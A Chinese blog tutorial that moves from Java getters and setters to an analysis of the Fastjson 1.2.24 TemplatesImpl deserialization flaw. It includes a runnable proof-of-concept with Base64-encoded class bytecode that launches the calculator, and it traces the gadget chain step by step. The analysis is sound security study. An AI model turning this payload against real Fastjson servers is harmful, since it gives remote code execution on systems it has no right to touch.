先来看一下Java中的getter和setter方法,
简单来说就是调用setter方法设置变量的值,调用getter方法来获取变量的值。
体现了Java三大特性之一封装
用private去修饰一个变量,然后再用setter方法去设置该变量的值,然后在用getter方法去调用该变量的值
package first; public class Student{ private String number;//学生学号 private String name;//学生姓名 private int grade;//学生成绩 public Student(){ } public String getNumber(){//用get方法得到学号(下同) return number; } public void setNumber(String number){//用set方法去设置学号(下同) this.number=number; } public String getName(){ return name; } public void setName(String name){ this.name=name; } public int getGrade(){ return grade; } public void setGrade(int grade){ this.grade=grade; } public static void main(String agrs[]){ Student st=new Student(); st.setNumber("MX16604"); st.setName("小明"); st.setGrade(100); System.out.println("学号为:"+st.getNumber()+","+"姓名为:"+st.getName()+","+"成绩为:"+st.getGrade()+"."); } }
运行结果是很简单的:
那么再来看看调试的过程
通过setter方法已经把初值赋给了private的三个属性
然后调用getter获取值
去下载fastjson-1.2.24的jar包,加载到项目下
这个java文件位于 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
给出一个简单的poc
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.parser.ParserConfig; public class TemplatesImplPoc { public static void main(String[] args) { ParserConfig config = new ParserConfig(); String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADEAMgoABgAjCgAkACUIACYKACQAJwcAKAcAKQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQApTGNvbS9kYXJrZXJib3gv5p6E6YCgYnl0ZWNvZGVzL2J5dGVjb2RlMTsBAApFeGNlcHRpb25zBwAqAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcAKwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwcALAEAClNvdXJjZUZpbGUBAA5ieXRlY29kZTEuamF2YQwABwAIBwAtDAAuAC8BAARjYWxjDAAwADEBACdjb20vZGFya2VyYm94L+aehOmAoGJ5dGVjb2Rlcy9ieXRlY29kZTEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAAEAAEABwAIAAIACQAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgAKAAAADgADAAAADwAEABAADQARAAsAAAAMAAEAAAAOAAwADQAAAA4AAAAEAAEADwABABAAEQACAAkAAAA/AAAAAwAAAAGxAAAAAgAKAAAABgABAAAAFQALAAAAIAADAAAAAQAMAA0AAAAAAAEAEgATAAEAAAABABQAFQACAA4AAAAEAAEAFgABABAAFwABAAkAAABJAAAABAAAAAGxAAAAAgAKAAAABgABAAAAGQALAAAAKgAEAAAAAQAMAA0AAAAAAAEAEgATAAEAAAABABgAGQACAAAAAQAaABsAAwAJABwAHQACAAkAAAArAAAAAQAAAAGxAAAAAgAKAAAABgABAAAAHgALAAAADAABAAAAAQAeAB8AAAAOAAAABAABACAAAQAhAAAAAgAi\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}"; // Fastjson默认只会反序列化public修饰的属性,outputProperties和_bytecodes由private修饰,必须加入Feature.SupportNonPublicField 在parseObject中才能触发; Object obj = JSON.parseObject(text, Object.class, config, Feature.SupportNonPublicField); } }
为什么json的paylaod这样写呢,下面先来了解一些基础
@type是指定了解析的类,也就是后面写的com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
fastjson去指定类反序列化得到该类的实例。
(注意在默认情况下只会去反序列化public所修饰的属性,而poc中用到的_bytecodes和_name都是私有属性)
想要反序列化私有属性就得在用parseObject()时候设置Feature.SupportNonPublicField
_bytecodes——是我们把恶意类的.class文件二进制格式进行Base64编码后得到的字符串;
_outputProperties——漏洞利用链的关键 会调用其参数的getOutputProperties()方法,进而导致命令执行;
_tfactory:{}——在defineTransletClasses()时会调用getExternalExtensionsMap(),当为null时会报错,所以要对_tfactory设置;
在 getOutputProperties()处下断点,反序列化后调用到这里,该方法又调用了
newTransformer().getOutputProperties()方法
然后我们跟进进入newTransformer()方法,看到又调用了getTransletInstance()方法
继续跟进getTransletInstance()方法,可以看到已经在构造创建生成Java类了
这里需要_name不为空且,_class为空就会去调用defineTransletClasses()这个方法
这里需要说明一下 这个defineTransletClasses()的逻辑要求_bytecodes不为空
着就会调用自定义的 ClassLoader 去加载 _bytecodes
中的 byte[]
。而 _bytecodes
也是该类的成员属性。
而如果这个类的父类为 ABSTRACT_TRANSLET
也就是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
,
就会将类成员属性的,_transletIndex
设置为当前循环中的标记位,
而如果是第一次调用,就是_class[0]
。如果父类不是这个类,将会抛出异常。
再往后就是生成我们字节码定义的恶意类,执行命令弹计算器了
整个个调用链就是:
反序列化时候,因为getter方法getOutputProperties满足条件被fastjson调用,这个方法触发了整个利用流程。
getOutputProperties()->newTransformer()->getTransletInstance()(这里生成我们的恶意类)->defineTransletClasses()
EvilClass.newInstance()
分析Fastjson对JSON字符串的解析过程,原理Fastjson提取byte[]数组字段值时会进行Base64解码,所以我们构造payload时需要对_bytecodes
字段进行Base64加密处理。
由前面的调试分析知道,在getTransletInstance()函数中调用了defineTransletClasses()函数,defineTransletClasses()函数是用于生成Java类的,在其中会新建一个转换类加载器,其中会调用到_tfactory.getExternalExtensionsMap()
方法,若_tfactory
为null则会导致这段代码报错、从而无法生成恶意类,进而无法成功攻击利用:
同样的在前面可以看到需要满足_name也不为空。
getOutputProperties()方法是个无参数的非静态的getter方法,以get开头且第四个字母为大写形式,其返回值类型是Properties即继承自Map类型,Fastjson反序列化时会调用的getter方法的条件,因此在使用Fastjson对TemplatesImpl类对象进行反序列化操作时会自动调用getOutputProperties()方法。
参考:Java反序列化